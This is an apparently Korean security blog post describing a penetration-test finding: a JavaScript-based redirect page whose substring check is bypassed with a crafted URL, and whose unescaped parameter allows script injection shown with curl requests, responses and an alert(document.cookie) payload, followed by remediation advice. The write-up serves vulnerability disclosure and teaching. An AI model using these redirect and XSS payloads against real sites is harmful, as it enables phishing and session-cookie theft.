홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#경로재지정 #redirect.jsp #document.location.href #XSS #HTML 삽입 #자바스크립트 삽입 #코드삽입 #Client-side Protection #A1-Injection #A3-Cross-Site Scripting (XSS) #A10-Unvalidated Redirects and Forwards

취약한 경로재지정: 자바스크립트 검증과 그 우회, 그리고 XSS

홈페이지 취약점 점검 과정에서 경로재지정(URL Redirect) 기능이 발견되었다. 대부분의 경로재지정 기능이 Location: HTTP 헤더를 사용하는 데 비해, 여기서는 자바스크립트로 구현되어 있었다.

경로재지정 기능 분석 및 입력값 검증기능 우회

root@kali:~# curl https://target.site.kr/common/redirect.jsp?location=http://www.daum.net/?target.site.kr

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR" />
<title></title>
</head>
<body>
	<script type="text/javascript">
	//<![CDATA[
		var url = "http://www.daum.net/?target.site.kr";
		var check = true;
		if(url.indexOf("http") == 0){
			if(url.indexOf("target.site.kr") < 0){ //비정상적인 redirection 방지
				check = false;
			}
		}
		if(check){
			document.location.href = url;
		}
	//]]>
	</script>
</body>
</html>	root@kali:~#

curl을 이용하여 경로재지정 기능(/common/redirect.jsp)의 결과를 살펴보면 위와 같다. location 변수에 URL을 전달할 수 있고, 자바스크립트는 해당 URL에 target.site.kr이라는 문자열이 포함되어 있는 지를 검사한다 - if(url.indexOf("target.site.kr") < 0). 포함되어 있으면 경로를 location 값으로 전달한 url로 재지정하도록 하고 있다 - document.location.href = url;.

이러한 방식으로 웹브라우저에서 자바스크립트를 이용한 보안검증 기능은 공격자도 파악할 수가 있기 때문에 우회방법을 찾을 가능성이 매우 높다. 자바스크립트는 웹 서비스를 풍부하게 해주는 강력한 기능이지만 클라이언트(웹브라우저)에서 그 기능이 파악되므로 보안을 위한 용도로는 사용하지 않는 것이 좋다.

Javascript Redirect detour to  www.daum.net Hompage
[ 자바스크립트를 이용한 URL 검증기능을 우회한 결과 ]

위의 그림은 자바스크립트에 포함된 문자열 검증기능을 우회하여 허용되지 않는 외부 URL(http://www.daum.net/로 경로재지정에 성공한 화면이다. 여깃 사용한 검증기능은 Javascript에서 if(url.indexOf("target.site.kr") < 0)와 같이 허용되는 URL의 일부 문자열이 포함되어 있는 지를 검사하는 것이다. 우회하는 방법은 간단하다. location 변수에 target.site.kr문자열이 포함되게 만들면 된다. URL의 특성을 이용하면 redirect.jsp?location=http://www.daum.net/?target.site.kr와 같이 최종 URL에는 영향을 전혀 미치지 않게 하는 방법을 사용하면 된다.

if(url.indexOf("target.site.kr") < 0)와 같이 문자열의 포함여부가 아니라 if(url.substring(0, 21) == "http://target.site.kr"))와 문자열의 시작이 사이트 내부일 경우에만 허용하도록 자바스크립트를 구성했다면 경로재지정 취약점은 일부 완화가 되었을 것이다. 다만 이 경우에도 http://target.site.kr/에 자바스크립트를 업로드할 수 있는 경우라면 우회가 가능할 수 있다.

자바스크립트 내 입력값 출력을 이용한 스크립트 코드 삽입과 XSS

경로재지정 시 location 변수 값이 자바스크립트(<script> 엘리먼트) 내에서 var url 값으로 할당되는 것을 볼 수 있다. 이런 경우에는 서버에서 제대로 입력값을 검증하지 않을 경우에는 자바스크립트 코드를 삽입할 수 있는 가능성이 발생한다. (자바스크립트가 서버에서 문자열로 전달된 후에 웹브라우저에서 이 문자열을 자바스크립트로 해석하기 때문에 코드삽입이 가능하게 된다.)

root@kali:~# curl https://target.site.kr/common/redirect.jsp?location=%22%3Balert%28document.cookie%29%3B%20//

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR" />
<title></title>
</head>
<body>
	<script type="text/javascript">
	//<![CDATA[
		var url = "";alert(document.cookie); //";
		var check = true;
		if(url.indexOf("http") == 0){
			if(url.indexOf("target.site.kr") < 0){ //비정상적인 redirection 방지
				check = false;
			}
		}
		if(check){
			document.location.href = url;
		}
	//]]>
	</script>
</body>
</html>	root@kali:~#

위의 예에서는 location 변수에 ";alert(document.cookie); //라는 값을 전달하였다.

		var url = "";		// null
		alert(document.cookie);	// document.cookie 출력
		//";			// 주석 처리: 자바스크립트 해석하지 않음

그 결과는 위와 동일하게 해석된다. var url 변수에는 null을 할당하고, document.cookie에 접근한다. 사선 두개(//)는 뒷 부분을 주석으로 처리한다. 결국 location 값이 정상적인 문법을 가지는 자바스크립트 코드가 된다. 이를 이용하면 다양한 XSS 공격이 가능하게 된다.

자바스크립트 내 코드 삽입을 이용한 XSS 공격 사례
[ 사용자 입력값이 자바스크립트 내에 출력되는 점을 이용한 스크립트 코드 삽입 ]

경로재지정 변수인 location";alert(document.cookie); //라는 값을 입력했을 때, Firefox 웹브라우저는 세션 키인 JSESSIONID를 비롯한 쿠키 값을 출력하는 것을 볼 수 있다. 실제 공격이라면 alert() 함수 대신 공격자에게 document.cookie 값을 전달하게 할 것이다. 공격 대상자가 관리자라면 관리자 권한을 탈취당할 가능성이 높다. 실제로 이 홈페이지의 관리자 페이지는 외부에서도 접속이 가능하였다.

마무리

경로재지정 기능이 취약하면 - 홈페이지의 유명도나 운영하는 기관의 권위를 빌어서 - 피싱(phishing) 페이지나 악성코드 배포지로 접속자를 유인할 가능성을 크게 높일 수 있다. 이 때문에 OWASP TOP 10 2013, 2010에서도 A10 Unvalidated Redirects and Forwards로 지정되어 중요한 취약점으로 여기고 있다.

Javascript는 웹브라우저로 그 코드가 전송된 후에 실행되는 클라이언트 스크립트 언어이다. 따라서 사용자는 이 코드를 볼 수가 있다. 때문에 사용자의 입력값이 자바스크립트 코드 내에 출력되는 것을 피하는 것이 좋다. 또한 보안을 위한 검증 기능도 자바스크립트로 구현하지 않아야 한다. 서버에서 입력 값을 제대로 검증하지 않으면, 이 사례에서처럼 크로스사이트스크립트와 같이 다양한 공격을 수행할 수 있기 때문이다.

[처음 작성한 날: 2016.12.14]    [마지막으로 고친 날: 2016.12.14] 


< 이전 글 : HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (2016.12.14)

> 다음 글 : 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (2016.12.13)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문